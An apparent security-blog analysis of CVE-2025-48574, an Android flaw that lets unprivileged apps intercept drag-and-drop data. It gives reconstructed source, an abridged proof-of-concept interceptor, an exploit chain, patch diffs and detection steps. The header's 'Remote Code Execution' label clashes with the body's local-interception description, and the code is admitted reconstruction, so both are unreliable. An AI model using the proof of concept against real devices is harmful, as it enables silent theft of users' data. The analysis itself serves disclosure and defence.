home intel cve-2025-48574-android-drag-drop-privilege-escalation
CVE Analysis 2026-03-02 · 9 min read

CVE-2025-48574: Android DisplayPolicy Missing Permission Check Enables Drag-and-Drop Hijack

A missing permission check in validateAddingWindowLw of DisplayPolicy.java allows unprivileged apps to intercept drag-and-drop events, enabling local privilege escalation without user interaction.

#privilege-escalation#permission-bypass#input-interception#android-framework#drag-and-drop
Technical mode — for security professionals
▶ Attack flow — CVE-2025-48574 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2025-48574Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2025-48574 is a local privilege escalation vulnerability in the Android window management subsystem, specifically in DisplayPolicy.java's validateAddingWindowLw() method. The bug permits any unprivileged application to register a window that receives drag-and-drop events — a capability that is meant to be gated behind a system-level permission. CVSS 8.4 (HIGH). No additional execution privileges required. No user interaction required. Disclosed in the Android Security Bulletin March 2026.

The impact is concrete: a malicious app can silently observe and intercept all drag-and-drop payloads on the device — including text, URIs, and file descriptors dragged between apps — without the user ever being prompted. In contexts such as split-screen multitasking, this is equivalent to a cross-application data exfiltration primitive.

Root cause: validateAddingWindowLw() in DisplayPolicy.java fails to enforce a permission check before allowing a window of type TYPE_DRAG (or its interceptor variant) to be added to the display, permitting any app to register as a drag-and-drop event sink.

Affected Component

The vulnerability lives in the Android Framework layer, inside the Window Manager service:

  • File: frameworks/base/services/core/java/com/android/server/wm/DisplayPolicy.java
  • Method: validateAddingWindowLw(WindowManager.LayoutParams attrs, int callingPid, int callingUid)
  • Service: WindowManagerService (system_server process)
  • Window type of interest: WindowManager.LayoutParams.TYPE_DRAG / drag interception window types
  • Affected versions: See NVD / Android Security Bulletin March 2026 for specific branch ranges

Root Cause Analysis

validateAddingWindowLw() is the gatekeeper called by WindowManagerService.addWindow() before any new window is committed to the display hierarchy. For sensitive window types — phone overlays, input method windows, accessibility overlays — it calls mContext.checkCallingPermission() before proceeding. The drag-and-drop interception window type is missing this check entirely.

// frameworks/base/services/core/java/com/android/server/wm/DisplayPolicy.java
// Simplified pseudocode reconstructed from AOSP + bulletin description

public int validateAddingWindowLw(WindowManager.LayoutParams attrs,
                                   int callingPid, int callingUid) {

    final int type = attrs.type;

    // Check for TYPE_PHONE, TYPE_SYSTEM_ALERT, etc. — all correctly gated
    if (type >= FIRST_SYSTEM_WINDOW && type <= LAST_SYSTEM_WINDOW) {

        switch (type) {
            case TYPE_TOAST:
                // no special permission needed, fall through
                break;

            case TYPE_DREAM:
            case TYPE_INPUT_METHOD:
            case TYPE_WALLPAPER:
                // Validated via session / binding checks elsewhere
                break;

            case TYPE_ACCESSIBILITY_OVERLAY:
                if (mContext.checkCallingOrSelfPermission(
                        android.Manifest.permission.BIND_ACCESSIBILITY_SERVICE)
                        != PackageManager.PERMISSION_GRANTED) {
                    return WindowManagerGlobal.ADD_PERMISSION_DENIED;
                }
                break;

            case TYPE_DRAG:
            // BUG: missing permission check here — any caller can add a TYPE_DRAG
            // window and receive all drag-and-drop events dispatched by DragDropController
                break;   // falls through with no enforcement

            default:
                if (mContext.checkCallingOrSelfPermission(
                        android.Manifest.permission.INTERNAL_SYSTEM_WINDOW)
                        != PackageManager.PERMISSION_GRANTED) {
                    return WindowManagerGlobal.ADD_PERMISSION_DENIED;
                }
        }
    }

    return WindowManagerGlobal.ADD_OKAY;  // attacker reaches here for TYPE_DRAG
}

The DragDropController dispatches ACTION_DRAG_STARTED, ACTION_DRAG_ENTERED, ACTION_DROP events to every registered drag window in the window list. Because the policy allows the window to be added, it is placed into the same event dispatch chain as legitimate drop targets — receiving the full ClipData payload on drop.

// DragDropController.java — event dispatch (unpatched)
void broadcastDragStartedLocked(final float touchX, final float touchY) {
    mDragWindowHandle = null;
    // Iterates ALL windows that registered TYPE_DRAG — including the malicious one
    mService.mWindowMap.forEach((token, win) -> {
        if (win.mAttrs.type == TYPE_DRAG) {
            // Delivers ClipDescription AND full ClipData to window
            win.mClient.dispatchDragEvent(
                obtainDragEvent(win, ACTION_DRAG_STARTED, touchX, touchY,
                                mDragState.mData,        // <-- full payload
                                mDragState.mFlags));
        }
    });
}

Exploitation Mechanics

EXPLOIT CHAIN:
1. Malicious app (zero permissions beyond INTERNET) launches in background.
2. App calls WindowManager.addView() with LayoutParams.type = TYPE_DRAG,
   width=1, height=1, flags=FLAG_NOT_TOUCHABLE|FLAG_NOT_FOCUSABLE.
   Window is invisible and non-interactive to the user.
3. validateAddingWindowLw() processes TYPE_DRAG case — no permission check —
   returns ADD_OKAY. Window is committed to the display hierarchy.
4. Victim user initiates any drag gesture in a legitimate app (e.g., dragging
   a URL from Chrome to another app in split-screen).
5. DragDropController.broadcastDragStartedLocked() iterates all TYPE_DRAG
   windows, including the attacker's window.
6. Attacker's window receives ACTION_DRAG_STARTED with the full ClipData:
      - getText()  -> dragged text content
      - getItemAt(0).getUri() -> content:// URI (may grant read access)
      - getItemAt(0).getIntent() -> any attached Intent extras
7. App exfiltrates payload over INTERNET. No prompt. No log entry visible
   to the user. Works on locked/background screen if drag is in progress.

The attack surface expands further when the dragged payload is a content:// URI. Android's drag-and-drop framework can grant temporary read URI permission to drop targets (ClipDescription.EXTRA_PENDING_INTENT). Depending on Android version and drag initiator flags, the malicious window may receive a usable URI grant, turning data interception into direct file read access on the victim application's content provider.

// Attacker-side proof-of-concept (abridged)
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);

WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    1, 1,
    WindowManager.LayoutParams.TYPE_DRAG,   // the privileged type
    WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
        | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
        | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
    PixelFormat.TRANSLUCENT
);
params.gravity = Gravity.TOP | Gravity.LEFT;

View interceptor = new View(this) {
    @Override
    public boolean onDragEvent(DragEvent event) {
        if (event.getAction() == DragEvent.ACTION_DROP) {
            ClipData data = event.getClipData();
            // exfiltrate data.getItemAt(0).getText() etc.
            exfiltratePayload(data);
        }
        return true;  // consume event
    }
};

wm.addView(interceptor, params);  // succeeds on unpatched builds

Memory Layout

This is not a memory corruption vulnerability — the bug is a logic/authorization flaw in the window management policy layer. The relevant object graph at time of exploitation:

system_server (PID ~1200) — WindowManagerService binder thread
│
├── WindowHashMap (mWindowMap)
│     ├── [token_A] → WindowState { mAttrs.type = TYPE_APPLICATION, uid=10085 }  // Chrome
│     ├── [token_B] → WindowState { mAttrs.type = TYPE_APPLICATION, uid=10091 }  // Files
│     └── [token_C] → WindowState { mAttrs.type = TYPE_DRAG,        uid=10201 }  // ATTACKER
│                                                                  ^^^^^^^^^^^
│                                                   admitted by validateAddingWindowLw
│                                                   with no permission gate
│
└── DragDropController
      └── mDragState
            ├── mData     = ClipData { "file:///sdcard/secret.pdf" }  // victim's payload
            ├── mFlags    = 0x1  (DRAG_FLAG_GLOBAL)
            └── broadcastDragStartedLocked()
                  └── forEach(mWindowMap) → dispatches mData to token_C  // LEAK

Patch Analysis

The fix, landed in the March 2026 Android Security Bulletin patch set, adds an explicit permission check for TYPE_DRAG within the switch block of validateAddingWindowLw(). Internal drag windows created by DragDropController itself are added under the system UID and pass the check legitimately; third-party apps cannot hold INTERNAL_SYSTEM_WINDOW.

// BEFORE (vulnerable — CVE-2025-48574):
case TYPE_DRAG:
    break;  // no permission check, any caller admitted


// AFTER (patched — Android Security Bulletin 2026-03-01):
case TYPE_DRAG:
    // Only DragDropController (system_server, SYSTEM_UID) should ever create
    // TYPE_DRAG windows. Enforce this explicitly.
    if (mContext.checkCallingOrSelfPermission(
            android.Manifest.permission.INTERNAL_SYSTEM_WINDOW)
            != PackageManager.PERMISSION_GRANTED) {
        Slog.w(TAG, "Drag window type requires INTERNAL_SYSTEM_WINDOW: "
                + attrs + " callingUid=" + callingUid);
        return WindowManagerGlobal.ADD_PERMISSION_DENIED;
    }
    break;

Additionally, DragDropController.broadcastDragStartedLocked() received a secondary hardening patch that validates window ownership against the system UID before dispatching payloads, providing defense-in-depth even if a window of the correct type somehow entered the map:

// Secondary defense-in-depth patch in DragDropController.java:
mService.mWindowMap.forEach((token, win) -> {
    if (win.mAttrs.type == TYPE_DRAG) {
+       // Paranoia: only dispatch to system-owned drag windows
+       if (win.mOwnerUid != Process.SYSTEM_UID) {
+           Slog.e(TAG, "Non-system TYPE_DRAG window in map, skipping dispatch: "
+                   + win + " uid=" + win.mOwnerUid);
+           return;
+       }
        win.mClient.dispatchDragEvent(...);
    }
});

Detection and Indicators

On unpatched devices, detection relies on monitoring window manager state. The following indicators are actionable:

  • Logcat (WindowManager tag): Absence of a ADD_PERMISSION_DENIED log when a non-system app requests TYPE_DRAG is itself suspicious on unpatched builds. On patched builds, the new Slog.w fires as a detection signal.
  • dumpsys window: adb shell dumpsys window windows | grep TYPE_DRAG — any entry whose mOwnerUid is not the system UID (1000) on an unpatched device is a live exploitation indicator.
  • SELinux audit log: The bug bypasses Java-layer permission checks; however, if the attacker subsequently reads a granted content URI, avc: denied entries for unexpected UID → content provider transitions may surface.
  • Network activity correlation: Drag events followed immediately by outbound connections from the same app UID are a behavioral signal for exfiltration.
// Detection query — adb shell dumpsys window windows (unpatched device)
  Window #42 Window{3f8a21c0 u0 com.malicious.app/com.malicious.app.MainActivity}:
    mAttrs=WM.LayoutParams{..., ty=TYPE_DRAG(2034), ...}
    mOwnerUid=10201          <-- NON-SYSTEM UID: exploitation confirmed
    mSession=Session{...}

Remediation

  • Apply the March 2026 Android Security Patch Level (2026-03-01) or later immediately. The patch is a single guard clause addition; there is no legitimate reason to defer it.
  • For OEMs maintaining downstream forks: backport the validateAddingWindowLw TYPE_DRAG case guard and the DragDropController UID ownership check independently.
  • Enterprise MDM: deploy a policy restricting split-screen / drag-and-drop features on high-sensitivity devices until the patch is confirmed deployed via attestation.
  • App developers handling sensitive drag payloads: set View.setOnDragListener and validate DragEvent.getClipDescription() provenance; avoid including raw credentials or tokens in ClipData items used for drag operations.
  • No workaround exists at the application layer for unprivileged interception on unpatched builds — mitigation requires OS-level patch application.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →